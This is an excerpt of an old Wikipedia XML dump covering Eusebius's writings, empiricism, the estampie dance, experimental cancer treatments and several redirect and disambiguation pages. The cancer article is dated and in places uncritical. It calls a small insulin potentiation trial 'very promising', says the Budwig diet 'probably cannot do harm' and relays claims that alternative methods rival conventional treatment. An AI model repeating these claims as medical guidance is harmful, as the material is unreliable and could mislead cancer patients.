In his ''Church History'' or ''Ecclesiastical History'' (''Historia Ecclesiastica''), Eusebius attempted according to his own declaration (I.i.1) to present the history of the Church from the apostles to his own time, with special regard to the following points:

:(1) the successions of bishops in the principal sees;
:(2) the history of Christian teachers;
:(3) the history of heresies;
:(4) the history of the Jews;
:(5) the relations to the heathen; 
:(6) the martyrdoms. 

He grouped his material according to the reigns of the emperors, presenting it as he found it in his sources. The contents are as follows:

* Book i: detailed introduction, on Jesus Christ
* Book ii: The history of the apostolic time to the [[destruction of Jerusalem]] by [[Roman Emperor Titus|Titus]]
* Book iii: The following time to [[Trajan]]
* Books iv and v:  the second century
* Book vi:  The time from [[Severus]] to [[Trajan Decius|Decius]]
* Book vii: extends to the outbreak of the persecution under [[Diocletian]]
* Book viii:  more of this persecution
* Book ix:  history to [[Constantine I of the Roman Empire|Constantine's]] victory over [[Maxentius]] in the West and over [[Maximinus]] in the East
* Book x: The reestablishment of the churches and the rebellion and conquest of [[Licinius]]. 

In its present form the work was brought to a conclusion before the
death of [[Crispus]] (July, 326), and, since book x is dedicated to [[Paulinus of Tyre]] who died before 325, at the end of 323 or in 324. This work required the most comprehensive preparatory studies, and it must have occupied him for years. His collection of martyrdoms of the older period may have been one of these preparatory studies. 

Eusebius blames the calamities which befell the Jewish nation on the Jews' role in the death of Jesus. This quote has been used to attack both Jews and Christians. See [[Christianity and anti-Semitism]].

:&quot;that from that time seditions and wars and mischievous plots followed each other in quick succession, and never ceased in the city and in all Judea until finally the siege of Vespasian overwhelmed them. Thus the divine vengeance overtook the Jews for the crimes which they dared to commit against Christ.&quot; (''Hist. Eccles.'' II.6: The Misfortunes which overwhelmed the Jews after their Presumption against Christ) [http://web.cbn.org/bibleresources/theology/eusebius/churchhistory/eusebius-b2-7.asp]

===The ''Life of Constantine''===
Eusebius' ''Life of Constantine'' (''Vita Constantini'') is a [[eulogy]] and therefore its style and selection of facts are affected by its purpose, rendering it inadequate as a continuation of the ''Church History.'' As the historian [[Socrates Scholasticus]] said, at the opening of his history that was designed as a continuation of Eusebius, &quot;Also in writing the life of Constantine, this same author has but slightly treated of matters regarding Arius, being more intent on the rhetorical finish of his composition and the praises of the emperor, than on an accurate statement of facts.&quot;  The work was unfinished at Eusebius' death.

===Minor historical works===
Before he compiled his church history, Eusebius edited a collection of martyrdoms of the earlier period and a biography of Pamphilus. The martyrology has not survived as a whole, but it has been preserved almost completely in parts. It contained:

:(1) an epistle of the congregation of [[Smyrna]] concerning the martyrdom of [[Polycarp]]; 
:(2) the martyrdom of Pionius;
:(3) the martyrdoms of Carpus, Papylus, and Agathonike;
:(4) the martyrdoms in the congregations of [[Vienne]] and [[Lyon]];
:(5) the martyrdom of Apollonius. 

Of the life of Pamphilus only a fragment survives. A work on the martyrs of Palestine in the time of Diocletian was composed after 311; numerous fragments are scattered in legendaries which still have to be collected. The life of Constantine was compiled after the death of the emperor and the election of his sons as Augusti (337). It is more a rhetorical eulogy on the emperor than a history, but is of great value on account of numerous documents incorporated in it.

===Apologetic and dogmatic works===
To the class of apologetic and dogmatic works belong: 

:(1) the ''[[Apology for Origen]]'', the first five books of which, according to the definite statement of Photius, were written by Pamphilus in prison, with the assistance of Eusebius. Eusebius added the sixth book after the death of Pamphilus. We possess only a Latin translation of the first book, made by [[Rufinus]];

:(2) a treatise against [[Hierocles]] (a Roman governor and [[Neo-Platonism|Neoplatonic]] philosopher), in which Eusebius combated the former's glorification of [[Apollonius of Tyana]] in a work entitled &quot;[[A Truth-loving Discourse]]&quot; (Greek, ''Philalethes logos''); 

:(3) ''Praeparatio evangelica'' ('[[Preparation for the Gospel]]'), commonly known by its Latin title, which attempts to prove the excellence of Christianity over every pagan religion and philosophy. The ''Praeparatio'' consists of fifteen books which have been completely preserved. Eusebius considered it an introduction to Christianity for pagans. But its value for many later readers is more because Eusebius studded this work with so many fascinating and lively fragments from historians and philosophers which are nowhere else preserved. Here alone is preserved a summary of the writings of the [[Phoenicia]]n priest [[Sanchuniathon]] of which the accuracy has been shown by the mythological accounts found on the [[Ugaritic]] tables, here alone is the account from [[Diodorus Siculus]]'s sixth book of [[Euhemerus]]' wondrous voyage to the island of Panchaea where Euhemerus purports to have found his true history of the gods, and here almost alone is preserved writings of the [[neo-Platonist]] philosopher Atticus along with so much else.

:(4) ''Demonstratio evangelica'' ('[[Proof of the Gospel]]') is closely connected to the ''Praeparatio'' and comprised originally twenty books of which ten have been completely preserved as well as a fragment of the fifteenth. Here Eusebius treats of the person of Jesus Christ. The work was probably finished before 311;

:(5) another work which originated in the time of the persecution, entitled &quot;[[Prophetic Extracts]]&quot; (''Eklogai prophetikai'').  It discusses in four books the [[Messiah|Messianic]] texts of Scripture.  The work is merely the surviving portion (books 6-9) of the ''General elementary introduction'' to the Christian faith, now lost.

:(6) the treatise &quot;[[On Divine Manifestation]]&quot; (''Peri theophaneias''), dating from a much later time. It treats of the incarnation of the Divine [[Logos]], and its contents are in many cases identical with the ''Demonstratio evangelica. ''  Only fragments are preserved;

:(7) the polemical treatise &quot;[[Against Marcellus]],&quot; dating from about 337;

:(8) a supplement to the last-named work, entitled &quot;[[On the Theology of the Church]],&quot; in which he defended the Nicene doctrine of the Logos against the party of Athanasius.

A number of writings, belonging in this category, have been entirely lost.

===Exegetical and miscellaneous works===
Of the exegetical works of Eusebius nothing has been preserved in its original form. The so-called commentaries are based upon late manuscripts copied from fragments of ''catenae''. A more comprehensive work of an exegetical nature, preserved only in fragments, is entitled &quot;On the Differences of the Gospels&quot; and was written for the purpose of harmonizing the contradictions in the reports of the different Evangelists. It was also for exegetical purposes that Eusebius wrote his treatises on Biblical archeology:

:(1) a work on the Greek equivalents of Hebrew Gentilic nouns; 
:(2) a description of old Judea with an account of the lots of the ten tribes; 
:(3) a plan of Jerusalem and the [[Temple in Jerusalem|Temple of Solomon]].

These three treatises have been lost. A work entitled &quot;On the Names of Places in the Holy Scriptures,&quot; an alphabetical list of place names, is still in existence. Further mention is to be made of addresses and sermons some of which have been preserved, e.g., a sermon on the consecration of the church in Tyre, and an address on the thirtieth anniversary of the reign of Constantine (336). Of the letters of Eusebius only a few fragments are extant.

==Estimate of Eusebius==
===His doctrine===
From a [[dogma]]tic point of view, Eusebius stands entirely upon the shoulders of [[Origen]]. Like Origen, he started from the fundamental thought of the absolute sovereignty (''monarchia'') of God. God is the cause of all beings. But he is not merely a cause; in him everything good is included, from him all life originates, and he is the source of all virtue. He is the highest God to whom Christ is subject as the second God. God sent Christ into the world that it may partake of the blessings included in the essence of God. Christ is the only really good creature, he possesses the image of God and is a ray of the eternal light; but the figure of the ray is so limited by Eusebius that he expressly emphasizes the self-existence of Jesus. 

Eusebius was intent upon emphasizing the difference of the persona of the Trinity and maintaining the subordination of Jesus to God (he never calls him ''theos'') because in all contrary attempts he suspected polytheism or Sabellianism. Jesus is a creature of God whose generation, for Eusebius, took place before time. Jesus is in his activity the organ of God, the creator of life, the principle of every revelation of God, who in his absoluteness is enthroned above all the world. This divine Logos assumed a human body without being altered thereby in any way in his being. The relation of the Holy Spirit within the Trinity Eusebius explained similarly to that of the Son to the Father. No point of this doctrine is original with Eusebius, all is traceable to his teacher Origen. The lack of originality in his thinking shows itself in the fact that he never presented his thoughts in a system.

===His limitations===

The limitations of Eusebius could be said to flow from his position as the first court appointed Christian theologian in the service of the Constantine Roman Empire.  Notwithstanding the great influence of his works on others, Eusebius was not himself a great historian. [http://www.britannica.com/eb/article-9033282] His treatment of heresy, for example, is inadequate, and he knew very little about the Western church. His historical works are really apologetics. In his Ecclesiastical History, Vol. 8, chapter 2, he points out, &quot;We shall introduce into this history in general only those events which may be useful first to ourselves and afterwards to posterity.&quot; 

In his ''[[Preparation for the Gospel|Praeparatio evangelica]]'' (xii, 31), Eusebius has a section on the use of fictions (''pseudos'') as a &quot;medicine&quot;, which may be &quot;lawful and fitting&quot; to use [http://www.tertullian.org/rpearse/eusebius/pe_data.htm]. With that in mind, it is still difficult to assess Eusebius' conclusions and veracity by confronting him with his predecessors and contemporaries, for texts of previous chroniclers, notably [[Papias]], whom he denigrated, and [[Hegesippus]], on whom he relied, have disappeared; they survive largely in the form of the quotes of their work that Eusebius selected and thus they are to be seen only through the lens of Eusebius.

These and other issues have invited controversy. For example, [[Jacob Burckhardt]] has dismissed Eusebus as &quot;the first thoroughly dishonest historian of antiquity&quot;. Burckhardt is not alone in holding such a view. However, Professor Michael J. Hollerich thinks such criticisms go too far. Writing in &quot;Church History&quot; (Vol. 59, 1990), he says that ever since Burckhardt, &quot;Eusebius has been an inviting target for students of the Constantinian era. At one time or another they have characterized him as a political propagandist, a good courtier, the shrewd and worldly adviser of the Emperor Constantine, the great publicist of the first Christian emperor, the first in a long succession of ecclesiastical politicians, the herald of Byzantinism, a political theologian, a political metaphysician, and a caesaropapist. It is obvious that these are not, in the main, neutral descriptions. Much traditional scholarship, sometimes with barely suppressed disdain, has regarded Eusebius as one who risked his orthodoxy and perhaps his character because of his zeal for the Constantinian establishment.&quot; He concludes that &quot;the standard assessment has exaggerated the importance of political themes and political motives in Eusebius's life and writings and has failed to do justice to him as a churchman and a scholar&quot;.

While many have shared Burckhartdt's assessment, others, while not pretending to extol his merits, have acknowledged the irreplaceable value of his works.

==See also==
*[[Rechabites]]

==External links==
===Online works===
*[http://www.ccel.org/ccel/schaff/npnf201.iii.i.html?bcb=0 ''Historia Ecclesiastica''] at the [http://www.ccel.org CCEL] (English translation for the [[Nicene and Post-Nicene Fathers]])
*[http://www.ccel.org/ccel/schaff/npnf201.iii.i.html?bcb=0 ''Vita Constantini''] at the [http://www.ccel.org CCEL] (English translation for the Nicene and Post-Nicene Fathers)
*[http://www.tertullian.org/fathers/eusebius_against_hierocles_preface.htm ''Contra Hieroclem''] at the [http://www.tertullian.org Tertullian Project] (English translation)
*[http://www.tertullian.org/fathers/eusebius_de_00_epreface.htm ''Demonstratio Evangelica''] at the [http://www.tertullian.org Tertullian Project] (English translation)
*[http://www.tertullian.org/fathers/eusebius_encomium.htm ''Encomium of the Martyrs''] at the [http://www.tertullian.org Tertullian Project] (English translation from an ancient Syriac version)
*[http://www.tertullian.org/fathers/eusebius_martyrs.htm ''History of the Martyrs in Palestine''] at the [http://www.tertullian.org Tertullian Project] (English translation from an ancient Syriac version)
*[http://www.tertullian.org/fathers/eusebius_onomasticon_01_intro.htm ''Onomasticon''] at the [http://www.tertullian.org Tertullian Project] (English translation)
*[http://www.tertullian.org/fathers/eusebius_pe_00_eintro.htm ''Praeparatio Evangelica''] at the [http://www.tertullian.org Tertullian Project] (English translation)
*[http://www.tertullian.org/fathers/eusebius_theophania_01preface.htm ''Theophania''] at the [http://www.tertullian.org Tertullian Project] (English translation from an ancient Syriac version)
*[http://www.tertullian.org/fathers/eusebius_letter_to_carpianus.htm ''To Carpianus''] at the [http://www.tertullian.org Tertullian Project] (English translation) 
*[http://www.seanmultimedia.com/Pie_Eusebius_Letters_Fragmented.html ''Letters''] at the [http://www.seanmultimedia.com/Pie_homepage.html Patristics In English Project] (English Translation From Various Sources)

===Other links===
*[http://www.tertullian.org/rpearse/eusebius/ Eusebius of Caesarea] at the [http://www.tertullian.org Tertullian Project]

* [http://www.infidels.org/library/modern/richard_carrier/NTcanon.html#6] A discussion of the questionable scholarship of the early Christian historians.

* [http://www.earlychurch.org.uk/eusebius.php EarlyChurch.org.uk] Extensive bibliography.
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Initial text from Schaff-Herzog ''Encyclopedia of Religion'', subjected to edits for style.

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  <page>
    <title>Empiricist</title>
    <id>10173</id>
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      <text xml:space="preserve">#REDIRECT [[Empiricism]]
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  </page>
  <page>
    <title>Empiricism</title>
    <id>10174</id>
    <revision>
      <id>41673784</id>
      <timestamp>2006-02-28T23:58:05Z</timestamp>
      <contributor>
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      <minor />
      <text xml:space="preserve">'''Empiricism''' comes from the [[Greek language|Greek]] word &amp;#949;&amp;#956;&amp;#960;&amp;#949;&amp;#953;&amp;#961;&amp;#953;&amp;#963;&amp;#956;&amp;#972;&amp;#962;, a noun meaning a &quot;test&quot; or &quot;trial&quot;.  The -pir- is ultimately related to the -per- of the Latin words ''experientia'' and ''experimentum'', both of which mean &quot;experiment,&quot; and from which our words &quot;experiment&quot; and &quot;experience&quot; come.  (Interestingly, it is also related to the Latin word ''periculum'', &quot;essay, trial, danger,&quot; which gives the English word &quot;peril&quot;.)  Empiricism is therefore the [[philosophy|philosophical]] doctrine (-ism) of &quot;testing&quot; or &quot;experimentation,&quot; and has taken on the more specific meaning that all human knowledge ultimately comes from the senses and from experience. Empiricism denies that humans have [[innate ideas]] or that anything is knowable without reference to experience.

Empiricism is contrasted with [[continental rationalism]], epitomized by [[René Descartes]]. According to the rationalist, philosophy should be performed via introspection and [[a priori]] [[deductive reasoning]]. Names associated with empiricism include [[St. Thomas Aquinas]], [[Aristotle]], [[Thomas Hobbes]] (also see [[Philosophical naturalism|naturalism]]), [[Francis Bacon (philosopher)|Francis Bacon]], [[John Locke]] (who originally developed the doctrine during the 17th and early 18th centuries), [[George Berkeley]], and [[David Hume]].

It is generally regarded as the heart of the modern [[scientific method]], that present [[theory|theories]] should be based on our [[observation]]s of the world rather than on [[intuition]] or [[faith]]; that is, [[empirical research]] and [[empirical knowledge|a posteriori]] [[inductive reasoning]] rather than purely [[deductive logic]].

'''Empirical''' is an adjective often used in conjunction with [[science]], both the [[natural science|natural]] and [[social science]]s, which means the use of working [[hypothesis|hypotheses]] which are capable of being [[falsifiability|disproved]] using [[observation]] or [[experiment]] (i.e.: ultimately through [[experience]]).

In a second sense &quot;empirical&quot; in science may be synonymous with &quot;experimental&quot;. In this sense, an empirical result is an experimental observation.  In this context, the term &quot;semi-empirical&quot; or &quot;semiempirical&quot; is used for qualifying theoretical methods which use in part basic [[axiom]]s or postulated scientific laws and empirical (experimental) results.  Such methods are opposed to theoretical ''[[ab initio]]'' methods which are purely [[deductive]] and based on [[first principles]].  This terminology is particularly important in [[theoretical chemistry]].    

== Empiricism and Science ==

Empiricism was a precursor of [[logical positivism]], also known as logical empiricism. Empirical methods have dominated science until the present day. It laid the groundwork for the scientific method, which is the traditional view of theory and progress in science. However, in the past couple of decades [[quantum mechanics]], [[constructivist_epistemology|constructivism]], and [[Thomas Samuel Kuhn|Kuhn]]'s ''The Structure of Scientific Revolutions'' have created some challenges to empiricism as the exclusive way in which science works and should work. On the other hand, some argue that theories such as [[quantum mechanics]] provide a perfect example of the solidity of empiricism: the ability to discover even counter-intuitive scientific laws, and the ability to rework our theories to accept these laws.

==Empiricism in history==

Within [[historiography]], empiricism refers to [[empiricist historiography]], a school of documentary interpretation and historical [[teleology]] derived from the works of [[Leopold von Ranke|Ranke]].

== Classical Empiricism == 

Refers mostly to the [[Epistemology|epistemological]] work of [[St. Thomas Aquinas]] and [[Aristotle]]. Aristotle argued that all forms of knowing come from [[induction]]. Aquinas wrote the famous [[peripatetic axiom]], &quot;Nihil in intellectu quod prius non fuerit in sensu&quot; which means &quot;Nothing is in the intellect which was not first in the senses.&quot;

== Modern Empiricism ==

Also known as traditional empiricism. [[David Hume]], [[John Locke]] and [[George Berkeley]] were among the British philosophers who rejected the theory of innate ideas. Theories of the existence of innate ideas were the subject of much debate between the Continental rationalists and British empiricists in the seventeenth century. From the late eighteenth century onwards, empiricists were critical of [[Immanuel Kant]]'s doctrine of the ''[[a priori]]'' as positing innate ideas, while proponents of innate ideas rejected Kant's doctrine of intuition and deduction as not innatist, but part of a rationalist doctrine. Modern empiricism contends that all knowledge must be attained through internal and external sensations.

== Radical Empiricism ==

Radical empiricists believe that ''all'' human knowledge is purely empirical. [[William James]] was a proponent of one form of radical empiricism.

== Moderate Empiricism ==
Moderate empiricists believe that all human knowledge of &quot;matter of fact propositions&quot; is purely empirical. This is the view that [[David Hume]] held.

== Other forms ==

[[naïve empiricism|Naïve Empiricism]]: Our ideas and theories need to be tested against reality and not be affected by preconceived notions.

[[constructive empiricism|Constructive Empiricism]]: According to this view of science coined by [[Bas C. van Fraassen]] (''The Scientific Image'', 1980), we should only ask that theories accurately describe observable parts of the world. Theories that meet these requirements are considered &quot;empirically adequate&quot;. If a theory becomes well established, it should be &quot;accepted&quot;. What that means is the theory is believed to be empirically accurate, used to solve further problems, and used to extend or refine the '''theory.'''

== Criticisms ==
=== Kuhn's [[The Structure of Scientific Revolutions]] ===
One of the most famous challenges against empiricism is [[Thomas Samuel Kuhn|Kuhn's]] ''The Structure of Scientific Revolutions'' (1962), which built upon [[Norwood Russell Hanson]]'s ''[[Patterns of Discovery]]'' (1958). In this, he argues that theory change is actually developed through paradigm shifts, where a new idea is offered that doesn't follow on existing theories but instead offers a unique, creative solution to existing problems. Scientific thinking, in Kuhn's view, goes through revolutions, instead of gradual theory development through testing and experimentation. After the revolution occurs, scientists can see things they weren't able to see before in the former framework. Kuhn also questioned whether scientific experimentation is truly unbiased and neutral since the experimenter had previous theories and preconceptions which could affect what experiments are chosen and the way in which the results are interpreted. Kuhn also questioned whether we can trust the reliability of our senses, and cited the famous illusions printed in Hanson's 1958 book.

=== [[Constructivist epistemology|Constructivism]] === 
Knowledge and reality is actively constructed by the individual, not passively received from the environment. There are many forms of constructivism, such as [[social constructivism]] and [[cultural constructivism]].

=== [[Quantum mechanics]] ===
Addresses the question whether experience can be used to determine an [[ontological]] reality. For example, the [[Many-worlds interpretation]], one of the answers to the [[EPR paradox]], argues that there are multiple versions of every observed object in every possible observable state, existing in a state of [[Quantum superposition]]. If every observable entity within our reality has a counterpart in an alternate state, then our experience of these entities does not indicate any ontological reality.


== See also == 

* [[Behaviorism]]
* [[Continental rationalism]]
* [[Empirical formula]]
* [[Empirical knowledge]]
* [[Empirical method]]
* [[Empirical relationship]]
* [[Empirical research]]
* [[Empirical validation]]
* [[Instrumentalism]]
* [[Logical positivism]]
* [[Methodological naturalism]]
* [[Objectivist philosophy|Objectivism]]
* [[Objectivity (philosophy)|Objectivity]] (philosophy)
* [[Philosophy of science]]
* [[Philosophical naturalism]]
* [[Quasi-empirical methods]]
* [[Rationalism]] (modern)
* [[Scientific method]]

== External links ==
* [http://plato.stanford.edu/entries/rationalism-empiricism/ Stanford Encyclopedia of Philosophy entry on Rationalism vs. Empiricism]

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  <page>
    <title>Estampie</title>
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      <text xml:space="preserve">The '''Estampie''' is both a [[medieval dance]] and musical form.

There are no surviving dance manuals describing the estampie as a dance. [[Illumination]]s and paintings from the period seem to indicate that the estampie involves fairly vigorous hopping.  The [[etymology]] of the name is disputed; an alternative name of the dance is ''stantipes'', which suggests that one foot was stationary during the dance; but the more widely accepted etymology relates it to ''estamper'', to stamp the feet.  

The estampie musical form consists of a series of verses, often of different lengths, and two [[refrain]]s, sometimes called &quot;open&quot; and &quot;closed&quot;, which alternate.  The various verses can be of different lengths, and are often only faintly related in theme to the preceding and following verses. There can be any number of verses, though there must be at least three.  

The two refrains typically open with the same phrase.  The first, or &quot;open&quot; ending, begins with that phrase and concludes with a short passage.  The second, or &quot;closed&quot; ending, is usually longer than the first ending, and concludes with a longer passage.  Thus, where  A, B, C. . . represent the various verses, R(o) the open ending, and R(c) the closed ending, the structure of an estampie is:

:A &amp;mdash; R(o)
:A &amp;mdash; R(c)
:B &amp;mdash; R(o)
:B &amp;mdash; R(c)
:C &amp;mdash; R(o)
:C &amp;mdash; R(c)
:.
:.
:.  

A similar structure was shared with the [[saltarello]], another medieval dance.  Some estampies, such as the famous ''Tre fontane'' (&quot;Three Fountains&quot;) estampie, contain florid and [[virtuoso|virtuosic]] instrumental writing; they may have been intended as abstract performance music rather than actual dance music.  

==For further reading==

* Timothy McGee, ''Medieval Instrumental Dances''.

''Estampie is also a German medieval band with a web site [http://www.estampie.de]''.

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  <page>
    <title>Experimental cancer treatment</title>
    <id>10176</id>
    <revision>
      <id>41026327</id>
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      <minor />
      <comment>disambiguation from [[Hypoxia]] to [[Hypoxia (medical)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Experimental cancer treatments''' are [[medicine|medical]] therapies intended or claimed to treat [[cancer]] (see also ''[[tumor]]'') by improving on, supplementing or replacing conventional methods ([[surgery]], [[chemotherapy]], [[Radiation therapy|radiation]], and [[immunotherapy]]).

The entries listed below vary between theoretical therapies to unproven controversial therapies. Many of these treatments are alleged to only help against specific forms of cancer. It is ''not'' a list of treatments widely available at hospitals!

==Angiostatic-based treatments ==
Every solid [[tumor]] (in contrast to liquid tumors like [[leukemia]]) needs to generate [[blood vessel]]s to keep it alive once it reaches a certain size. Usually, blood vessels are not built elsewhere in an adult body unless tissue repair is actively in process. The anti-[[angiogenesis]] (angiostatic) agent ''[[endostatin]]'' and related chemicals can suppress the building of blood vessels, preventing the cancer from growing indefinitely. In tests with patients, the tumor became inactive and stayed that way even after the endostatin treatment was finished. The treatment has very few side effects but appears to have very limited selectivity.  Other angiostatic agents like [[thalidomide]] and natural plant-based substances are being actively investigated.  

== Bacterial treatments ==
[[Chemotherapy|Chemotherapeutic]] [[medication|drugs]] have a hard time penetrating tumors to kill them at their core because these cells may lack a good [[blood]] supply. Researchers have been using [[Anaerobic organism|anaerobic]] [[bacterium|bacteria]], such as ''Clostridium novyi'', to consume the interior of oxygen-poor tumours. These should then die when they come in contact with the tumour's oxygenated sides, meaning they would be harmless to the rest of the body. A major problem has been that bacteria don't consume all parts of the malignant tissue. However combining the therapy with chemotheraputic treatments can help to solve this problem. Another strategy is to use anaerobic bacteria that have been transformed with an enzyme that can convert a non-toxic [[prodrug]] into a toxic drug. With the proliferation of the bacteria in the [[necrosis|necrotic]] and [[Hypoxia (medical)|hypoxic]] areas of the tumour the enzyme is expressed solely in the tumour. Thus a systemically applied prodrug is metabolised to the toxic drug only in the tumour. This has been demonstrated to be effective with the non pathogenic anaerobe ''Clostridium sporogenes''.

==[[Gene therapy]]==
Introduction of [[tumor suppressor gene]]s into rapidly dividing cells has been thought to slow down or arrest tumor growth. Another use of gene therapy is the introduction of [[enzyme]]s into these cells that make them susceptible to particular chemotherapy agents; studies with introducing [[thymidine kinase]] in [[glioma]]s, making them susceptible to [[aciclovir]], are in their experimental stage.

==Telomerase therapy==
Because most malignant cells rely on the activity of the protein [[telomerase]] for their immortality, it has been proposed that a drug which inactivates telomerase might be effective against a broad spectrum of malignancies.  At the same time, most healthy tissues in the body express little if any telomerase, and would function normally in its absence.

A number of research groups have experimented with the use of telomerase inhibitors in animal models, and as of [[2005]] phase I and II human clinical trials are underway.

==Thermal therapy==

Localized application of heat has been proprosed as a technique for the treatment of malignant tumours.  Intense heating will cause [[denaturation (biochemistry)|denaturation]] and coagulation of [[cell (biology)|cellular]] [[protein]]s, rapidly killing cells within a tumour. 

More prolonged moderate heating to temperatures just a few degrees above normal can cause more subtle changes.  A mild heat treatment combined with other stresses can cause cell death by [[apoptosis]].  There are many biochemical consequences to the [[heat shock protein|heat shock response]] within in cell, including slowed cell division and increased sensitivity to ionizing [[radiation therapy]].

There are many techniques by which heat may be delivered.  Some of the most common involve the use of focused [[ultrasound]] (FUS), [[microwave]] heating, [[electromagnetic induction|induction]] heating, or direct application of heat through the use of heated saline pumped through catheters.

One of the challenges in thermal therapy is delivering the appropriate amount of heat to the correct part of the patient's body.  A great deal of current research focuses on precisely positioning heat delivery devices (catheters, microwave and ultrasound applicators, etc.) using ultrasound or [[magnetic resonance imaging]].  Clinicians also hope to use advanced imaging techniques to monitor heat treatments in real time&amp;mdash;heat-induced changes in [[biological tissue|tissue]] are sometimes perceptible using these imaging instruments.

==Complementary and alternative cancer treatment ==
''See main article'': [[Complementary and alternative medicine]]

In the year [[2000]], the [[American Cancer Society]] published ''American Cancer Society's Guide to Complementary and Alternative Cancer Methods''.   There are over 200 substances and therapies in this book, and while there is a varying degree of success with each of the methods, it appears that some of the techniques will work at times, however no technique will work in all situations, which, practitioners claim, is similar to the success rate of conventional techniques.  Many of these treatements are similar to ancient ways of dealing with disease.  According to practitioners of such techniques, various options are available to anyone who wants this information, however, they caution that discretion is advised no matter what methods a person chooses to pursue.

== Controversial therapies ==

=== Diet therapy ===

In late 1940-s, German-born physician [[Max Gerson|Dr. Max Gerson]] proposed a therapy that is claimed to be successful in the treatment of advanced cancer, normalizing metabolism and helping the body's [[immune system]] act on cancer cells. It is a high potassium, low sodium (saltless) [[Gerson diet|diet]], with no fats or oils, and high in fresh raw fruits and vegetables and their juices.  (See for instance the lecture [http://gerson-research.org/docs/GersonM-1978-1/],
and the book ''A Cancer Therapy: Results of Fifty Cases'', by Max Gerson, M.D.). Other scientists doubt the ability of these treatments to cure cancer, and point to the lack of detailed publication of their results ([http://www.amazon.com/exec/obidos/tg/detail/-/0961152621/]).

Johanna Budwig proposed another diet therapy she claims can treat cancer. As with Max Gerson, most oncologists do not believe that a diet can treat cancer.  Reports of dramatic remissions as a result of the Budwig diet are anecdotal, and not supported by [[peer-review]]ed research. (On the other hand, her diet is good from a nutritional point of view and probably cannot do harm.)

=== Insulin potentiation therapy ===
In [[insulin potentiation therapy]] (IPT), [[insulin]] is given in conjunction with low-dose chemotherapy.  Its proponents claim insulin therapy increases the uptake of chemotherapeutic drugs by malignant cells, permitting the use of lower total drug doses and reducing side effects.

Some ''In vitro'' studies have demonstrated the principle of IPT [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=7037424&amp;dopt=Abstract][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11082431&amp;dopt=Citation] .  

The first clinical trial of IPT for treating breast cancer was done in Uruguay and published in 2003/2004.  Insulin combined with low-dose methotrexate (a chemotherapy drug) resulted in greatly increased stable disease, and much reduced progressive disease, compared with insulin or low-dose methotrexate alone.  Although the study was very small (30 women, 10 per group), the results appear to be very promising. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14655024&amp;query_hl=2]

=== Fasting therapy ===
Long-term [[fasting]] has been reported to work against malignant tumours.  A specific mechanism for this effect has not been identified, and studies to date are merely anecdotal.

== External links ==
* [http://www.cancer.org American Cancer Society]
* [http://www.nci.nih.gov National Cancer Institute]
* [http://www.nature.com/nrc/index.html Nature Reviews Cancer website]
* [http://www.robertsreview.com Audio-video Physician Interviews on Cancer Treatment Breakthroughs]
* [http://www.quackwatch.org/01QuackeryRelatedTopics/cancer.html &quot;Questionable Cancer Therapies&quot;]

{{Tumors}}
[[Category:Oncology]]
[[Category:Cancer treatments]]</text>
    </revision>
  </page>
  <page>
    <title>Ethene</title>
    <id>10177</id>
    <revision>
      <id>15908009</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>Shimmin</username>
        <id>7395</id>
      </contributor>
      <comment>moved to &quot;Ethylene&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Ethylene]]
</text>
    </revision>
  </page>
  <page>
    <title>Ethyne</title>
    <id>10178</id>
    <revision>
      <id>15908010</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Acetylene]]
</text>
    </revision>
  </page>
  <page>
    <title>Euskara</title>
    <id>10179</id>
    <revision>
      <id>15908011</id>
      <timestamp>2002-06-18T15:33:21Z</timestamp>
      <contributor>
        <ip>200.165.239.250</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Basque language]]
</text>
    </revision>
  </page>
  <page>
    <title>Emission</title>
    <id>10181</id>
    <revision>
      <id>41831783</id>
      <timestamp>2006-03-02T00:58:22Z</timestamp>
      <contributor>
        <username>Schzmo</username>
        <id>175037</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">The word '''emission''' generally means sending something out. It can be used in the following contexts:

*In [[chemistry]] emissions are the products of a [[reaction]], either [[chemical reaction|chemical]] or [[nuclear reaction|nuclear]].
*In [[physics]] and [[physical chemistry]] emissions are outputs of [[electromagnetic radiation]] or [[particle]]s.
*In common usage, ''emission'' is often the giving off of [[gas]]es from [[industrial process]]es of [[factory|factories]] and [[transport]]. As they occur on an industrial scale, even relatively harmless gases can have an undesired effect (such as [[carbon dioxide]] contributing to the [[greenhouse effect]]). See also [[emissions trading]],  [[automobile emissions control]], [[greenhouse gas]], and [[pollution]].
*In physics, [[emission theory|emission theories]] assumed that light leaves the object that emits it at a particular speed. This idea is most commonly identified with [[Isaac Newton]] and [[Walter Ritz]].
*In the history of  [[optics]], [[light]] was supposed by adherents of [[emission theory (vision)]] to be emitted by the [[eyes]]. [[Visual perception]] was accomplished by such rays of light acting like feeling hands

{{disambig}}

[[da:Emission]]
[[de:Emission]]
[[nl:emissie]]
[[pl:Emisja]]
[[pt:Emissão]]</text>
    </revision>
  </page>
  <page>
    <title>Environmental movement in the United States</title>
    <id>10183</id>
    <revision>
      <id>40721360</id>
      <timestamp>2006-02-22T15:42:28Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[EPA]] to [[Environmental Protection Agency]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Usstamp-save-our.jpg|thumb|right|200px|1970s US postage stamp block]]
==History==
In North America, early figures in the [[Conservation movement]] were [[Johnny Appleseed|Johnny &quot;Appleseed&quot; Chapman]], [[Chief Seattle]], and [[Henry David Thoreau]] in the U.S. and [[Grey Owl]] in Canada.  By word and deed, they argued that man belonged in harmony with nature, as its [[keystone species]] - in the terms of modern [[ecology]].  They saw no contradiction in altering or inhabiting the natural environment, and living in harmony with it forever.  They did not resist development or colonization of lands - indeed [[Seattle's Reply]], 1854, was an agreement not to resist it.

